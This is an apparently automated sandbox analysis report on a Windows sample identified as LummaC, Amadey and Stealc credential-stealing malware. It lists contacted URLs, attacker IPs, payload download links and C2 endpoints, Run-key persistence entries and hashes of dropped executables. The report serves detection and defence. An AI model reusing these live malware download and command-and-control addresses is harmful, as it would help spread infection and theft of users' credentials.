http://31.41.244.11/files/fontcreator.exeVj	skotes.exe, 00000007.00000002.4108997518.000000000068F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/luma/random.exe	skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/test/num.exe	skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.php4	skotes.exe, 00000007.00000003.3950766153.00000000006FD000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006FD000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://necklacedmny.store:443/apin	file.exe, 00000000.00000003.1833944782.000000000076F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1785012541.000000000076F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://subca.ocsp-certum.com05	skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1710460669.0000000005259000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622025924.0000000005E62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1710460669.0000000005259000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2622025924.0000000005E62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	file.exe, 00000000.00000003.1682306768.0000000005250000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2579554260.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpA	skotes.exe, 00000007.00000002.4108997518.000000000068F000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://subca.ocsp-certum.com02	skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1682461036.000000000524F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682514952.0000000005238000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://subca.ocsp-certum.com01	skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0D	fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://crl.certum.pl/ctnca2.crl0l	skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://repository.certum.pl/ctnca2.cer09	skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://jrsoftware.org0	fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://jrsoftware.org/	fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/ts1ca.crl0	is-5MQTR.tmp.11.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	9eba8044e7.exe, 0000003B.00000003.2623806913.0000000005F3B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store:443/api	file.exe, 00000000.00000003.1833944782.000000000076F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1785012541.000000000076F000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 9eba8044e7.exe, 0000003B.00000003.2780256079.0000000001763000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2855624046.0000000001763000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://31.41.244.11/files/fontcreator.exe1	skotes.exe, 00000007.00000002.4108997518.000000000068F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16:80/off/def.exeault-release/key4.dbPK	file.exe, 00000000.00000003.1833944782.000000000076F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://repository.certum.pl/ctnca.cer09	skotes.exe, 00000007.00000002.4108997518.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950766153.00000000006F4000.00000004.00000020.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpUsers	skotes.exe, 00000007.00000003.3950766153.00000000006FD000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006FD000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000003.1711669897.000000000081D000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641822483.0000000005E2C000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2640673951.0000000005E23000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2641188561.0000000005E28000.00000004.00000800.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2644211752.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
188.114.97.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546642
Start date and time:	2024-11-01 10:55:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 15m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	64
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@112/67@17/4
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): example.org, prod.detectportal.prod.cloudops.mozgcp.net, www.reddit.com, services.addons.mozilla.org, slscr.update.microsoft.com, spocs.getpocket.com, incoming.telemetry.mozilla.org, aus5.mozilla.org, contile.services.mozilla.com, prod.content-signature-chains.prod.webservices.mozgcp.net, content-signature-2.cdn.mozilla.net, support.mozilla.org, ocsp.digicert.com, us-west1.prod.sumo.prod.webservices.mozgcp.net, ipv4only.arpa, firefox.settings.services.mozilla.com, prod.ads.prod.webservices.mozgcp.net, push.services.mozilla.com, safebrowsing.googleapis.com, www.youtube.com, normandy-cdn.services.mozilla.com, authorisev.site, star-mini.c10r.facebook.com, prod.classify-client.prod.webservices.mozgcp.net, prod.balrog.prod.cloudops.mozgcp.net, www.facebook.com, twitter.com, shavar.prod.mozaws.net, fs.microsoft.com, otelrules.azureedge.net, detectportal.firefox.com, ctldl.windowsupdate.com, dyna.wikimedia.org, prod.remote-settings.prod.webservices.mozgcp.net, fe3cr.deli
Execution Graph export aborted for target 9eba8044e7.exe, PID 5448 because there are no executed function
Execution Graph export aborted for target KOLH45MMED0OMDDRYHIG.exe, PID 932 because it is empty
Execution Graph export aborted for target file.exe, PID 6800 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 1460 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
05:55:54	API Interceptor	9x Sleep call for process: file.exe modified
05:57:01	API Interceptor	5592582x Sleep call for process: skotes.exe modified
05:57:12	API Interceptor	2x Sleep call for process: fontcreator.tmp modified
05:57:22	API Interceptor	52x Sleep call for process: 9eba8044e7.exe modified
09:56:14	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
09:57:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9eba8044e7.exe C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe
09:57:32	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1553f88169.exe C:\Users\user\AppData\Local\Temp\1003145001\1553f88169.exe
09:57:42	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 661f3ff865.exe C:\Users\user\AppData\Local\Temp\1003146001\661f3ff865.exe
09:57:51	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1003147001\num.exe
09:58:02	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9eba8044e7.exe C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe
09:58:11	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1553f88169.exe C:\Users\user\AppData\Local\Temp\1003145001\1553f88169.exe
09:58:20	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 661f3ff865.exe C:\Users\user\AppData\Local\Temp\1003146001\661f3ff865.exe
09:58:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1003147001\num.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
188.114.97.3	18in SPA-198-2024.exe	Get hash	malicious	FormBook	Browse	www.timizoasisey.shop/3p0l/
	lf1SPbZI3V.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/alpha2/five/fre.php
	Comprobante de pago.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/vdlzo
	Purchase_Order_pdf.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/g48c/
	zxalphamn.doc	Get hash	malicious	Lokibot	Browse	touxzw.ir/alpha2/five/fre.php
	rPO-000172483.exe	Get hash	malicious	FormBook	Browse	www.launchdreamidea.xyz/2b9b/
	rPO_28102400.exe	Get hash	malicious	Lokibot	Browse	ghcopz.shop/ClarkB/PWS/fre.php
	PbfYaIvR5B.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	windowsxp.top/ExternaltoPhppollcpuupdateTrafficpublic.php
	SR3JZpolPo.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	5Z1WFRMTOXRH6X21Z8NU8.exe	Get hash	malicious	Unknown	Browse	artvisions-autoinsider.com/8bkjdSdfjCe/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
necklacedmny.store	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	104.21.85.194
	kill.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	http://edgeupgrade.com	Get hash	malicious	Unknown	Browse	104.22.48.74
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	https://pcapp.store/pixel.gif	Get hash	malicious	Unknown	Browse	172.67.15.14
	draft contract for order #782334.exe	Get hash	malicious	FormBook	Browse	172.67.131.32
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	E_dekont.cmd	Get hash	malicious	DBatLoader, Nitol, PureLog Stealer, XWorm	Browse	188.114.97.3
	V323904LY3.lNK.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://send-space.s3.eu-north-1.amazonaws.com/de.html	Get hash	malicious	Unknown	Browse	104.22.75.171
AEROEXPRESS-ASRU	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	31.41.244.11
	oWARzPF1Ms.exe	Get hash	malicious	PureLog Stealer	Browse	31.41.244.211
	oWARzPF1Ms.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	31.41.244.211
	hvnc-CR-SCR-0710.bin.exe	Get hash	malicious	PureCrypter	Browse	31.41.244.211
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	SecuriteInfo.com.Trojan.PWS.Lumma.775.32093.2339.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	E_dekont.cmd	Get hash	malicious	DBatLoader, Nitol, PureLog Stealer, XWorm	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FT773VWATWFL9SRK5RTU4.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\fontcreator[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6172760
Entropy (8bit):	7.183897983146913
Encrypted:	false
SSDEEP:	98304:FwREOBlkqxKUUhU5/UBovRdMwZg/nE00lNX0adDzBfoRR:POBlkqgUIufKaARR
MD5:	6FDF2CDF68AB1880AA76E7938E241FA3
SHA1:	AFFC9A0AEA771AD101357CC728951F5938B5E4E6
SHA-256:	E61CE90DF13402909985F5312FDEF798736EB10E0B5B6B280FB826538E7A597A
SHA-512:	7E649DB70D39A135CD86A837308FB304F16C904456CA3B97A70B8F8B1FD617291DE8974AAB3808AC67E5D2F7E9EFA3840BBDEBA1E3558DE33587C7FF94CE231D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...p....................@...................................^...@......@...................p..q....P........................^.X(...........................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2134016
Entropy (8bit):	7.958325842579587
Encrypted:	false
SSDEEP:	49152:8fc9iSlMYFmn4/S0e4VJOfNcsNTPN5eLIzY:8ffSlMOZRbRsNpPY
